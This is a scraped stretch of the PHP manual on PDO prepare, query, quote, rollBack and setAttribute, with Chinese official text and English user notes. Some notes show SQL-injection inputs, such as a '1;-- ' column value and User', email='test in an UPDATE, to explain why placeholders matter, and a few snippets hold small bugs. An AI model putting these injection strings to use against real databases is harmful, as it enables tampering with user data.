$connection = new PDO("mysql:host=$dbhost;dbname=$dbname", $dbusername, $dbpassword);
$connection->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

$prepared = $connection->prepare("SELECT COUNT(`username`) FROM `users` WHERE `username` = :bp_username AND `password` = :bp_password ; ");
$prepared->bindParam(':bp_username', $username);
$prepared->bindParam(':bp_password', $password);
$prepared->execute();

if ($prepared->fetchColumn() == 1)
$result=true;

else
$result=false;
}

catch(PDOException $x) { die("Secured"); }

$prepared = null;
$connection = null;

return $result;
}
/*
$dbhost ---> DataBase IP Address
$dbusername ---> DataBase Username
$dbpassword ---> DataBase Password
$dbname ---> DataBase Name
*/
?>
machitgarha at outlook dot com 14-Jul-2017 06:32
Hello everyone.

I want to note that it doesn't matter where you are using a variable inside the query directly, that is not secure against SQL injections (unless performing a long security operation).

The following example is insecure against SQL injections:

<?php

$statement = $databaseConnection->prepare("SELECT * FROM `$_POST['table']` WHERE $_POST['search_for']=:search");
$statement->bindParam(":search", $search);
$search = 18; // For example
$statement->execute();

?>

If an attacker pass '1;-- ' as input named 'search_for', he is not a very bad attacker; because he didn't delete your data! In the above example, an attacker can do anything with connected database (unless you have restricted the connected user). Unfortunately, as Simon Le Pine mentioned, you cannot use prepared statements as other parts of a query; just can be used to search in indexes.

Hope this helps from loosing some data.
Sorry for my a bit weak English!
Mark Simon 11-Apr-2017 11:27
Many students are tempted to add single quotes around string place holders in the SQL statement, since that's what they normally do around strings in SQL and PHP.

I have to explain:

Quotes are not part of the string — they are used to construct a string in the coding language. If you are creating a string literal in SQL or PHP, then it must indeed be quoted. If the string has already been created, and is being passed on, then additional quotes would be wrong at best, and mis-interpreted at worst.

In prepared place holders, think of place holders as variables, which, whether they are strings or other values, are always written without quotes.
chatelain dot cedric dot pro at gmail dot com 11-Mar-2015 11:24
you can't use CREATE DATABASE with prepared statement.

$sql = $conn->prepare("DROP DATABASE IF EXISTS :dbname ;",
                    array(PDO::ATTR_CURSOR => PDO::CURSOR_FWDONLY));
            $sql->execute(array(':dbname' => $dbname));

This will not work.
Anyone has an explanation ?
jesse dot chisholm at gmail dot com 24-Nov-2014 04:17
@Simon Le Pine

Be aware that:

$search = "user";
$sth = db->prepare("SELECT * FROM users WHERE $search=:email");

and

$search = "email";
$sth = db->prepare("SELECT * FROM users WHERE $search=:email");

will produce two totally different prepared statements.

Doing this _will not work_:

$search = "user";
$sth = db->prepare("SELECT * FROM users WHERE $search=:email");
$sth->execute(array(email=>"yada"));
$search = "email";
$sth->execute(array(email=>"yada@ya.da"));
bg at enativ dot com 12-Mar-2014 03:11
if you run queries in a loop, don't include $pdo->prepare() inside the loop, it will save you some resources (and time).

prepare statement inside loop:
for($i=0; $i<1000; $i++) {
    $rs = $pdo->prepare("SELECT `id` FROM `admins` WHERE `groupID` = :groupID AND `id` <> :id");
    $rs->execute([':groupID' => $group, ':id' => $id]);
}

// took 0.066626071929932 microseconds

prepare statement outside loop:
$rs = $pdo->prepare("SELECT `id` FROM `admins` WHERE `groupID` = :groupID AND `id` <> :id");
for($i=0; $i<1000; $i++) {
    $rs->execute([':groupID' => $group, ':id' => $id]);
}

// took 0.064448118209839 microseconds

for 1,000 (simple) queries it took 0.002 microseconds less.
not much, but it worth mention.
pbakhuis 29-Jan-2014 03:42
Noteworthy in my opinion is that if you prepare a statement but do not bind a value to the markers it will insert null by default. e.g.
<?php
/** @var PDO $db */
$prep = $db->prepare('INSERT INTO item(title, link) VALUES(:title, :link)');
$prep->execute();
?>
Will attempt to insert null, null into the item table.
php dot chaska at xoxy dot net 05-Jul-2013 08:04
Note that for Postgres, even though Postgres does support prepared statements, PHP's PDO driver NEVER sends the prepared statement to the Postgres server in advance of the call to PDO::execute().

Therefore, PDO::prepare() will never throw an error for things like faulty SQL syntax.

It also means the server will not parse and plan the SQL until the first time PDO::execute() is called, which may or may not adversely affect your optimization plans.
Hayley Watson 27-May-2013 01:22
It is possible to prepare in advance several statements against a single connection. As long as that connection remains open the statements can be executed and fetched from as often as you like in any order; their "prepare-execute-fetch" steps can be interleaved in whichever way is best.

So if you're likely to be using several statements often (perhaps within a loop of transactions), you may like to consider preparing all the statements you'll be using up front.
Anonymous 18-Apr-2013 05:23
To those wondering why adding quotes to around a placeholder is wrong, and why you can't use placeholders for table or column names:

There is a common misconception about how the placeholders in prepared statements work: they are not simply substituted in as (escaped) strings, and the resulting SQL executed. Instead, a DBMS asked to "prepare" a statement comes up with a complete query plan for how it would execute that query, including which tables and indexes it would use, which will be the same regardless of how you fill in the placeholders.

The plan for "SELECT name FROM my_table WHERE id = :value" will be the same whatever you substitute for ":value", but the seemingly similar "SELECT name FROM :table WHERE id = :value" cannot be planned, because the DBMS has no idea what table you're actually going to select from.

Even when using "emulated prepares", PDO cannot let you use placeholders anywhere, because it would have to work out what you meant: does "Select :foo From some_table" mean ":foo" is going to be a column reference, or a literal string?

When your query is using a dynamic column reference, you should be explicitly white-listing the columns you know to exist on the table, e.g. using a switch statement with an exception thrown in the default: clause.
Kjetil H 28-Mar-2013 09:44
Please note that the correct internal method signature is:
<?php public function prepare ($statement, $driver_options = array()) ?>

and NOT:
<?php public function prepare ($statement, array $driver_options = array()) ?>.

Redeclaring the method using the latter method signature throws a Stricts Standards error.
Simon Le Pine 21-Feb-2013 05:35
Hi All,

First time posting to php.net, a little nervous.

After a bunch of searching I've learned 2 things about prepared statements:
1.) It fails if you enclose in a single quote (')
This fails: "SELECT * FROM users WHERE email=':email'"
This works: "SELECT * FROM users WHERE email=:email"
2.) You cannot search with a prepared statement
This fails: "SELECT * FROM users WHERE :search=:email"
This succeeds: "SELECT * FROM users WHERE $search=:email"

In my case I allow the user to enter their username or email, determine which they've entered and set $search to "username" or "email". As this value is not entered by the user there is no potential for SQL injection and thus safe to use as I have done.

Hope that saves someone else from a lot of searching.
orrd101 at gmail dot com 30-Apr-2012 12:46
Don't just automatically use prepare() for all of your queries.

If you are only submitting one query, using PDO::query() with PDO::quote() is much faster (about 3x faster in my test results with MySQL).  A prepared query is only faster if you are submitting thousands of identical queries at once (with different data).

If you Google for performance comparisons you will find that this is generally consistently the case, or you can write some code and do your own comparison for your particular configuration and query scenario. But generally PDO::query() will always be faster except when submitting a large number of identical queries.  Prepared queries do have the advantage of escaping the data for you, so you have to be sure to use quote() when using query().
public at grik dot net 07-Mar-2012 12:23
With PDO_MYSQL you need to remember about the PDO::ATTR_EMULATE_PREPARES option.

The default value is TRUE, like
$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES,true);

This means that no prepared statement is created with $dbh->prepare() call. With exec() call PDO replaces the placeholders with values itself and sends MySQL a generic query string.

The first consequence is that the call  $dbh->prepare('garbage');
reports no error. You will get an SQL error during the $dbh->exec() call.
The second one is the SQL injection risk in special cases, like using a placeholder for the table name.

The reason for emulation is a poor performance of MySQL with prepared statements. Emulation works significantly faster.
pascal dot buguet at laposte dot net 31-Aug-2010 05:11
PDO::CURSOR_SCROLL is ok with MSS.
You must install SQL Server Driver for PHP 2.0 CTP2 : SQLSRV20.EXE
and  the native client "Microsoft SQL Server 2008 R2 Native Client" : sqlncli.msi.
Robin 04-Mar-2010 05:01
Use prepared statements to ensure integrity of binary data during storage and retrieval. Escaping/quoting by f.e. sqlite_escape_string() or PDO::quote() is NOT suited for binary data - only for strings of text.

A simple test verifies perfect storage and retrieval with prepared statements:

<?php

$num_values = 10000;

$db = new pdo( 'sqlite::memory:' );

$db->exec( 'CREATE TABLE data (binary BLOB(512));' );

// generate plenty of troublesome, binary data
for( $i = 0; $i < $num_values; $i++ )
{
    for( $val = null, $c = 0; $c < 512/16; $c++ )
        $val .= md5( mt_rand(), true );
    @$binary[] = $val;
}

// insert each value by prepared statement
for( $i = 0; $i < $num_values; $i++ )
    $db->prepare( 'INSERT INTO data VALUES (?);' )->execute( array($binary[$i]) );

// fetch the entire row
$data = $db->query( 'SELECT binary FROM data;' )->fetchAll( PDO::FETCH_COLUMN );

// compare with original array, noting any mismatch
for( $i = 0; $i < $num_values; $i++ )
    if( $data[$i] != $binary[$i] ) echo "[$i] mismatch\n";

$db = null;

?>
sgirard at rossprint dot com 29-Oct-2009 03:15
Maybe everyone else already knows this but...

If you have a routine that prepares/executes many insert or update statements for a sqlite db then you may want to make use of the pdo transactions.

On some old hardware my query set went from 12 seconds to 1/3-1/2 second.

-sean
richard at codevanilla.com 11-Sep-2009 04:44
beware
PDO will emulate prepared statements/bound parameters for drivers that do not natively support them, and can also rewrite named or question mark style parameter markers to something more appropriate, if the driver supports one style but not the other.

This includes mySQL it seems so

<?php
try{
        $sth1 = $this->db1->prepare($t1, array(PDO::ATTR_CURSOR => PDO::CURSOR_FWDONLY));

        }
        catch(PDOException $e){
                return $this->pack('dbError', $e->getMessage());
        }
?>

does not and so will not throw the exception if your SQL is wrong.

You will need to check that $sth1 is not null.
daniel dot egeberg at gmail dot com 24-May-2009 01:06
You can also pass an array of values to PDOStatement::execute(). This is also secured against SQL injection. You don't necessarily have to use bindParam() or bindValue().
admin at wdfa dot co dot uk 09-Apr-2009 09:52
Note on the SQL injection properties of prepared statements.

Prepared statements only project you from SQL injection IF you use the bindParam or bindValue option.

For example if you have a table called users with two fields, username and email and someone updates their username you might run

UPDATE `users` SET `user`='$var'

where $var would be the user submitted text.

Now if you did
<?php
$a=new PDO("mysql:host=localhost;dbname=database;","root","");
$b=$a->prepare("UPDATE `users` SET user='$var'");
$b->execute();
?>

and the user had entered  User', email='test for a test the injection would occur and the email would be updated to test as well as the user being updated to User.

Using bindParam as follows
 <?php
$var="User', email='test";
$a=new PDO("mysql:host=localhost;dbname=database;","root","");
$b=$a->prepare("UPDATE `users` SET user=:var");
$b->bindParam(":var",$var);
$b->execute();
?>

The sql would be escaped and update the username to User', email='test'
ak_9jsz 18-May-2008 10:16
Using cursors doesn't work with SQLite 3.5.9. I get an error message when it gets to the execute() method.

Some of you might be saying "duh!" but i was surprised to see TRIGGER support in SQLite, so i had to try. :)

I wanted to use Absolute referencing on a Scrollable cursor and i only wanted one column of data. So i used this instead of a cursor.

<?php

$dbo = new PDO('sqlite:tdb');
$sql = 'SELECT F1, F2 FROM tblA WHERE F1 <> "A";';
$res = $dbo->prepare($sql);
$res->execute();
$resColumn = $res->fetchAll(PDO::FETCH_COLUMN, 0);

for($r=0;$r<=3;$r++)
    echo 'Row '. $r . ' returned: ' . $resColumn[$r] . "\n";

$dbo = null;
$res = null;
?>
www.onphp5.com 07-Apr-2007 06:41
Please note that the statement regarding driver_options is misleading:

"This array holds one or more key=>value pairs to set attribute values for the PDOStatement object that this method returns. You would most commonly use this to set the PDO::ATTR_CURSOR value to PDO::CURSOR_SCROLL to request a scrollable cursor. Some drivers have driver specific options that may be set at prepare-time"

From this you might think that scrollable cursors work for all databases, but they don't! Check out this bug report:
http://bugs.php.net/bug.php?id=34625
johniskew 22-Feb-2007 08:03
If you need to create variable sql statements in a prepare statement...for example you may need to construct a sql query with zero, one, two, etc numbers of arguments...here is a way to do it without a lot of if/else statements needed to glue the sql together:

<?php

    public function matchCriteria($field1=null,$field2=null,$field3=null) {
        $db=DB::conn();
        $sql=array();
        $paramArray=array();
        if(!empty($field1)) {
            $sql[]='field1=?';
            $paramArray[]=$field1;
        }
        if(!empty($field2)) {
            $sql[]='field2=?';
            $paramArray[]=$field2;
        }
        if(!empty($field3)) {
            $sql[]='field3=?';
            $paramArray[]=$field3;
        }
        $rs=$db->prepare('SELECT * FROM mytable'.(count($paramArray)>0 ? ' WHERE '.join(' AND ',$sql) : ''));
        $result=$rs->execute($paramArray);
        if($result) {
            return $rs;
        }
        return false;
    }

?>
william dot clarke at gmail dot com 31-Aug-2006 03:58
Surely if you want to use prepared statements that way you should use the syntax in the second example:

eg.

instead of:
select id,name from demo_de where name LIKE :name OR name=:name

use:
select id,name from demo_de where name LIKE ? OR name=?

I believe you are supposed to either use distinct named parameters (name, name1) OR anonymous parameters (?s)
roth at egotec dot com 30-Aug-2006 01:58
Attention using MySQL and prepared statements.
Using a placeholder multiple times inside a statement doesn't work. PDO just translates the first occurance und leaves the second one as is.

select id,name from demo_de where name LIKE :name OR name=:name

You have to use

select id,name from demo_de where name LIKE :name OR name=:name2

and bind name two times. I don't know if other databases (for example Oracle or MSSQL) support multiple occurances. If that's the fact, then the PDO behaviour for MySQL should be changed.


预处理并执行没有占位符的 SQL 语句

  • ? PDO::prepare
  • PDO::quote ?
  • PHP Manual
  • PDO
  • 预处理并执行没有占位符的 SQL 语句

PDO::query

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.2.0)

PDO::query — 预处理并执行没有占位符的 SQL 语句

说明

public PDO::query(string $query, ?int $fetchMode = null): PDOStatement|false
public PDO::query(string $query, ?int $fetchMode = PDO::FETCH_COLUMN, int $colno): PDOStatement|false
public PDO::query(
string $query,
?int $fetchMode = PDO::FETCH_CLASS,
string $classname,
array $constructorArgs
): PDOStatement|false
public PDO::query(string $query, ?int $fetchMode = PDO::FETCH_INTO, object $object): PDOStatement|false

PDO::query() 在单次函数调用内预处理并执行 SQL 语句，以 PDOStatement 对象形式返回结果集（如果有数据的话）。

如果反复调用同一个查询，用 PDO::prepare() 准备 PDOStatement 对象，并用 PDOStatement::execute() 执行语句，将具有更好的性能。

如果没有完整获取结果集内的数据，就调用下一个 PDO::query()，将可能调用失败。应当在执行下一个 PDO::query() 前，先用 PDOStatement::closeCursor() 释放数据库 PDOStatement 关联的资源。

Note:

如果 query 包含占位符，则必须使用 PDO::prepare() 和 PDOStatement::execute() 方法分别预处理和执行语句。

参数

query

预处理和执行的 SQL 语句。

如果 SQL 包含占位符，则必须使用 PDO::prepare() 和
PDOStatement::execute()。或者在调用 PDO::query()
之前手动预处理 SQL，如果驱动程序支持，使用 PDO::quote() 正确格式化数据。

fetchMode

返回 PDOStatement 的默认获取模式。必须是 PDO::FETCH_* 常量之一。

If this argument is passed to the function, the remaining arguments will be treated as though PDOStatement::setFetchMode() was called on the resultant statement object. The subsequent arguments vary depending on the selected fetch mode.

返回值

返回 PDOStatement 对象 或者在失败时返回 false

错误／异常

如果属性 PDO::ATTR_ERRMODE 设置为 PDO::ERRMODE_WARNING，则发出级别为 E_WARNING 的错误。

如果属性 PDO::ATTR_ERRMODE 设置为 PDO::ERRMODE_EXCEPTION，则抛出 PDOException。

示例

Example #1 没有占位符的 SQL 可以使用 PDO::query() 执行

<?php
$sql = 'SELECT name, color, calories FROM fruit ORDER BY name';
foreach ($conn->query($sql) as $row) {
print $row['name'] . "\t";
print $row['color'] . "\t";
print $row['calories'] . "\n";
}
?>

以上示例会输出：

apple   red     150
banana  yellow  250
kiwi    brown   75
lemon   yellow  25
orange  orange  300
pear    green   150
watermelon      pink    90

参见

  • PDO::exec() - 执行 SQL 语句，并返回受影响的行数
  • PDO::prepare() - 预处理要执行的语句，并返回语句对象
  • PDOStatement::execute() - 执行预处理语句

User Contributed Notes

JJimenez 23-Oct-2023 10:00
When you make a wraper for PDO:query, you must define the method like this:

public function query( string $sql,  ?int $fetchMode = null, mixed ...$fetchModeArgs) : \PDOStatement|false

if you delete one of the parameters or use one of the oficials parameters you get a Fatal error
Ilyas Bakirov 31-Mar-2021 06:22
I would like to mention fetching rows from SQL query using PDO:

<?php

$dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass);

// use the connection here
$sth = $dbh->query('SELECT * FROM countries');

// fetch all rows into array, by default PDO::FETCH_BOTH is used
$rows = $stm->fetchAll();

// iterate over array by index and by name
foreach($rows as $row) {

    printf("$row[0] $row[1] $row[2]\n");
    printf("$row['id'] $row['name'] $row['population']\n");

}
?>
stefano[dot]bertoli [at] gmail[dot]com 08-Sep-2014 02:14
Trying to pass like second argument PDO::FETCH_ASSOC it still work.

So passing FETCH TYPE like argument seems work.

This save you from something like:

<?php
$result = $stmt->setFetchMode(PDO::FETCH_NUM);
?>

Example:
<?php
$res = $db->query('SELECT * FROM `mytable` WHERE true', PDO::FETCH_ASSOC);

?>
marcos at marcosregis dot com 24-Sep-2008 09:14
After a lot of hours working with DataLink on Oracle->MySQL and PDO we (me and Adriano Rodrigues, that solve it) discover that PDO (and oci too) need the attribute AUTOCOMMIT set to FALSE to work correctly with.
There's  3 ways to set autocommit to false: On constructor, setting the atribute after construct and before query data or initiating a Transaction (that turns off autocommit mode)

The examples:
<?php
// First way - On PDO Constructor
$options = array(PDO::ATTR_AUTOCOMMIT=>FALSE);

$pdo = new PDO($dsn,$user,$pass,$options);

// now we are ready to query DataLinks

?>

<?php
// Second Way - Before create statements
$pdo = new PDO($dsn,$user,$pass);

$pdo->setAttribute(PDO::ATTR_AUTOCOMMIT,FALSE);
// or
$pdo->beginTransaction();

// now we are ready to query DataLinks
?>

To use DataLinks on oci just use OCI_DEFAULT on oci_execute() function;
fredrik at NOSPAM dot rambris dot com 05-May-2007 09:04
The handling of errors by this function is controlled by the attribute PDO::ATTR_ERRMODE.

Use the following to make it throw an exception:
<?php
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
?>
dozoyousan at gmail dot com 02-May-2006 10:26
> When query() fails, the boolean false is returned.

I think that is "Silent Mode".
If that set attribute ErrorMode "Exception Mode"
then that throw PDOException.
 $pdoObj = new PDO( $dsn, $user, $pass );
 $pdoObj->setAttribute("PDO::ATTR_ERRMODE", PDO::ERRMODE_EXCEPTION);


为 SQL 查询里的字符串添加引号

  • ? PDO::query
  • PDO::rollBack ?
  • PHP Manual
  • PDO
  • 为 SQL 查询里的字符串添加引号

PDO::quote

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.2.1)

PDO::quote — 为 SQL 查询里的字符串添加引号

说明

public PDO::quote(string $string, int $type = PDO::PARAM_STR): string|false

PDO::quote() 为输入的字符串添加引号（如果有需要），并对特殊字符进行转义，且引号的风格和底层驱动适配。

如果使用此函数构建 SQL 语句，强烈建议使用 PDO::prepare() 配合参数构建，而不是用 PDO::quote() 把用户输入的数据拼接进 SQL 语句。使用 prepare 语句处理参数，不仅仅可移植性更好，而且更方便、免疫 SQL 注入；相对于拼接 SQL 更快，客户端和服务器都能缓存编译后的 SQL 查询。

不是所有的 PDO 驱动都实现了此功能（例如 PDO_ODBC）。 考虑使用 prepare 代替。

Caution

安全性：默认字符集

字符集不仅仅要在数据库服务器上设置，也要为数据库连接设置（取决于驱动），它影响了 PDO::quote()。 更多信息可参考PDO 驱动文档。

参数

string

要添加引号的字符串。

type

为驱动程序的数据类型提供引号风格的提示。例如 PDO_PARAM_LOB 将告诉驱动程序转义二进制数据。

返回值

返回加引号的字符串，理论上可以安全用于 SQL 语句。 如果驱动不支持这种方式，将返回 false 。

示例

Example #1 普通字符串加引号

<?php
$conn = new PDO('sqlite:/home/lynn/music.sql3');

/* 简单字符串 */
$string = 'Nice';
print "Unquoted string: $string\n";
print "Quoted string: " . $conn->quote($string) . "\n";
?>

以上示例会输出：

Unquoted string: Nice
Quoted string: 'Nice'

Example #2 危险字符串加引号

<?php
$conn = new PDO('sqlite:/home/lynn/music.sql3');

/* 危险字符串 */
$string = 'Naughty \' string';
print "Unquoted string: $string\n";
print "Quoted string:" . $conn->quote($string) . "\n";
?>

以上示例会输出：

Unquoted string: Naughty ' string
Quoted string: 'Naughty '' string'

Example #3 复杂字符串加引号

<?php
$conn = new PDO('sqlite:/home/lynn/music.sql3');

/* 复杂字符串 */
$string = "Co'mpl''ex \"st'\"ring";
print "Unquoted string: $string\n";
print "Quoted string: " . $conn->quote($string) . "\n";
?>

以上示例会输出：

Unquoted string: Co'mpl''ex "st'"ring
Quoted string: 'Co''mpl''''ex "st''"ring'

参见

  • PDO::prepare() - 预处理要执行的语句，并返回语句对象
  • PDOStatement::execute() - 执行预处理语句

User Contributed Notes

There are no user contributed notes for this page.


回滚事务

  • ? PDO::quote
  • PDO::setAttribute ?
  • PHP Manual
  • PDO
  • 回滚事务

PDO::rollBack

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDO::rollBack — 回滚事务

说明

public PDO::rollBack(): bool

回滚由 PDO::beginTransaction() 发起的当前事务。如果没有事务激活，将抛出一个 PDOException 异常。

如果数据库被设置成自动提交模式，此函数（方法）在回滚事务之后将恢复自动提交模式。

包括 MySQL 在内的一些数据库， 当在一个事务内有类似删除或创建数据表等 DLL 语句时，会自动导致一个隐式地提交。隐式地提交将无法回滚此事务范围内的任何更改。

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

如果没有活动的事务，则抛出 PDOException。

Note: PDO::ATTR_ERRMODE 属性不是 PDO::ERRMODE_EXCEPTION 时会抛出一个异常。

示例

Example #1 回滚一个事务

下面例子在回滚更改之前开始一个事务并发出两条修改数据库的语句。但在 MySQL 中，DROP TABLE 语句自动提交事务，因此在此事务内的任何更改都不会被回滚。

<?php
/* 开始一个事务，关闭自动提交 */
$dbh->beginTransaction();

/* 更改数据库架构和数据 */
$sth = $dbh->exec("DROP TABLE fruit");
$sth = $dbh->exec("UPDATE dessert
SET name = 'hamburger'");

/* 识别错误且回滚更改 */
$dbh->rollBack();

/* 此时数据库连接恢复到自动提交模式 */
?>

参见

  • PDO::beginTransaction() - 启动一个事务
  • PDO::commit() - 提交一个事务
  • 事务和自动提交

User Contributed Notes

Petros Giakouvakis 10-Nov-2010 01:30
Should anyone reading this be slightly panicked because they just discovered that their MySQL  tables are MyIsam and not InnoDb, don't worry... You can very easily change the storage engine using the following query:

ALTER TABLE your_table_name ENGINE = innodb;
brian at diamondsea dot com 25-Mar-2008 07:19
Here is a way of testing that your transaction has started when using MySQL's InnoDB tables.  It will fail if you are using MySQL's MyISAM tables, which do not support transactions but will also not return an error when using them.

<?
// Begin the transaction
$dbh->beginTransaction();

// To verify that a transaction has started, try to create an (illegal for InnoDB) nested transaction.
//    If it works, the first transaction did not start correctly or is unsupported (such as on MyISAM tables)
try {
    $dbh->beginTransaction();
    die('Cancelling, Transaction was not properly started');
} catch (PDOException $e) {
    print "Transaction is running (because trying another one failed)\n";
}
?>
JonasJ 08-Jan-2008 01:59
Just a quick (and perhaps obvious) note for MySQL users;

Don't scratch your head if it isn't working if you are using a MyISAM table to test the rollbacks with.

Both rollBack() and beginTransaction() will return TRUE but the rollBack will not happen.

Convert the table to InnoDB and run the test again.
linfo2003 at libero dot it 29-May-2007 07:07
Since "It is an error to call this method if no transaction is active", it could be useful (even if not indispensable) to have a method which returns true if a transaction is active.

try {
    $dbh->beginTransaction();
    ...
} catch (PDOException $e) {
    if ($dbh->isTransactionActive())  // this function does NOT exist
        $dbh->rollBack();
    ...
}

In the meanwhile, I'm using this code:

    ...
} catch (PDOException $e) {
    try { $dbh->rollBack(); } catch (Exception $e2) {}
    ...
}

It's not so chic, but it works fine.


设置属性

  • ? PDO::rollBack
  • PDOStatement ?
  • PHP Manual
  • PDO
  • 设置属性

PDO::setAttribute

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDO::setAttribute — 设置属性

说明

public PDO::setAttribute(int $attribute, mixed $value): bool

设置数据库句柄属性。下面列出了一些可用的通用属性；有些驱动可能使用另外的特定属性。 请注意，特定的驱动程序属性不得用于其他驱动程序。

PDO::ATTR_CASE

强制列名为指定的大小写。可以采用以下某个值：

PDO::CASE_LOWER
强制列名小写。
PDO::CASE_NATURAL
保留数据库驱动返回的列名。
PDO::CASE_UPPER
强制列名大写。
PDO::ATTR_ERRMODE

PDO 的报错方式。可以采用以下某个值：

PDO::ERRMODE_SILENT
仅设置错误代码。
PDO::ERRMODE_WARNING
引发 E_WARNING 警告。
PDO::ERRMODE_EXCEPTION
抛出 PDOException。
PDO::ATTR_ORACLE_NULLS

Note: 此属性适用于所有驱动程序，而不仅仅是 Oracle。

确定是否以及如何转换 null 和空字符串。可以采用以下值之一：

PDO::NULL_NATURAL
不发生转换。
PDO::NULL_EMPTY_STRING
空字符串转换为 null。
PDO::NULL_TO_STRING
null 被转换为空字符串。
PDO::ATTR_STRINGIFY_FETCHES

获取时是否将数值转换为字符串。值采用 bool 类型：true 表示启用，false 表示禁用。

PDO::ATTR_STATEMENT_CLASS

设置从 PDOStatement 派生的用户提供的语句类。 需要 array(string classname, array(mixed constructor_args))。

Caution

不能用于持久 PDO 实例。

PDO::ATTR_TIMEOUT

指定超时的秒数。需要 int 类型的值。

Note:

并非所有驱动都支持此选项，这意味着驱动和驱动之间可能会有差异。比如，SQLite 等待的时间达到此值后就放弃获取可写锁，但其他驱动可能会将此值解释为一个连接或读取超时的间隔。

PDO::ATTR_AUTOCOMMIT

Note: 仅适用于 OCI、Firebird 和 MySQL 驱动程序。

是否自动提交每个单独的语句。采用 bool 类型的值：true 表示启用，false 表示禁用。默认为 true。

PDO::ATTR_EMULATE_PREPARES

Note: 仅适用于 OCI、Firebird 和 MySQL 驱动程序。

是否启用或禁用预处理语句的模拟。有些驱动天然不支持或有限度地支持预处理语句。如果设置为 true，PDO 始终模拟预处理语句，否则 PDO 将会尝试使用本地预处理语句。如果驱动不能成功预处理当前查询，PDO 将始终回退到模拟预处理语句上。

PDO::MYSQL_ATTR_USE_BUFFERED_QUERY

Note: 仅适用于 MySQL 驱动程序。

是否使用缓冲查询。采用 bool 类型的值：true 表示启用，false 表示禁用。默认情况下，默认为 true。

PDO::ATTR_DEFAULT_FETCH_MODE

设置默认获取模式。关于模式的说明以及如何使用可以在 PDOStatement::fetch() 文档找到。

参数

attribute

要修改的属性。

value

设置 attribute 的值，属性的不同导致需要的类型也会不同。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • PDO::getAttribute() - 取回一个数据库连接的属性
  • PDOStatement::getAttribute() - 检索语句属性
  • PDOStatement::setAttribute() - 设置一个语句属性

User Contributed Notes

Anonymous 19-Oct-2021 01:15
Note that contrary to most PDO methods, setAttribute does not throw a PDOException when it returns false.
rob51 at mac dot com 07-Nov-2018 03:10
Where would I find the default values of attributes?
yeboahnanaosei at gmail dot com 22-Dec-2017 04:42
This is an update to a note I wrote earlier concerning how to set multiple attributes when you create you PDO connection string.

You can put all the attributes you want in an associative array and pass that array as the fourth parameter in your connection string. So it goes like this:
<?php
$options = [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_CASE => PDO::CASE_NATURAL,
    PDO::ATTR_ORACLE_NULLS => PDO::NULL_EMPTY_STRING
];

// Now you create your connection string
try {
    // Then pass the options as the last parameter in the connection string
    $connection = new PDO("mysql:host=$host; dbname=$dbname", $user, $password, $options);

    // That's how you can set multiple attributes
} catch(PDOException $e) {
    die("Database connection failed: " . $e->getMessage());
}
?>
vstoykov at proab dot info 19-Dec-2017 02:29
I am using PHP 5.6 and MySQL 5.0 on GoDaddy.
When executing a query like this:
<?php
    $stmt = $this->PDO->query("SHOW CREATE TABLE table");
?>
I get:
Uncaught exception 'PDOException' with message
'SQLSTATE[HY000]: General error: 2030 This command is not supported in the prepared statement protocol yet'
After I added:
<?php
    $this->PDO->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);
?>
the query was executed successfully.
guillaume at thug dot com 09-Nov-2017 03:07
function pdo_connect(){
  try {

      $pdo = new PDO('mysql:host=localhost;dbname='.DB_NAME, DB_USER, DB_PASS);
      $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
      $pdo->setAttribute( PDO::ATTR_EMULATE_PREPARES, false );
      $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);

  } catch (PDOException $e) {

      die("Error!: " . $e->getMessage() . "<br/>");

  }

  return $pdo;
}
yeboahnanaosei at gmail dot com 11-Aug-2017 11:36
Well, I have not seen it mentioned anywhere and thought its worth mentioning. It might help someone. If you are wondering whether you can set multiple attributes then the answer is yes.

You can do it like this:
try {
    $connection = new PDO("mysql:host=$host; dbname=$dbname", $user, $password);
    // You can begin setting all the attributes you want.
    $connection->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $connection->setAttribute(PDO::ATTR_CASE, PDO::CASE_NATURAL);
    $connection->setAttribute(PDO::ATTR_ORACLE_NULLS, PDO::NULL_EMPTY_STRING);

    // That's how you can set multiple attributes
}
catch(PDOException $e)
{
    die("Database connection failed: " . $e->getMessage());
}

I hope this helps somebody. :)
steve at websmithery dot co dot uk 04-Jul-2017 07:21
For PDO::ATTR_EMULATE_PREPARES, the manual states a boolean value is required. However, when getAttribute() is used to check this value, an integer (1 or 0) is returned rather than true or false.

This means that if you are checking a PDO object is configured as required then

<?php
        // Check emulate prepares is off
        if ($pdo->getAttribute(\PDO::ATTR_EMULATE_PREPARES) !== false) {
            /* do something */
        }
?>

will always 'do something', regardless.

Either

<?php
        // Check emulate prepares is off
        if ($pdo->getAttribute(\PDO::ATTR_EMULATE_PREPARES) != false) {
            /* do something */
        }
?>

or

<?php
        // Check emulate prepares is off
        if ($pdo->getAttribute(\PDO::ATTR_EMULATE_PREPARES) !== 0) {
            /* do something */
        }
?>

is needed instead.

Also worth noting that setAttribute() does, in fact, accept an integer value if you want to be consistent.
justinasu at gmail dot com 22-Dec-2015 06:51
in v5.5 PDO::MYSQL_ATTR_USE_BUFFERED_QUERY can only be set in PDO constructor, not by passing it into setAttribute.
If you set it with setAttribute it will not work. getAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY) will return 0.
antoyo 11-Jan-2011 05:49
There is also a way to specifie the default fetch mode :
<?php
$connection = new PDO($connection_string);
$connection->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_OBJ);
?>
colinganderson [at] gmail [dot] com 18-May-2007 07:59
Because no examples are provided, and to alleviate any confusion as a result, the setAttribute() method is invoked like so:

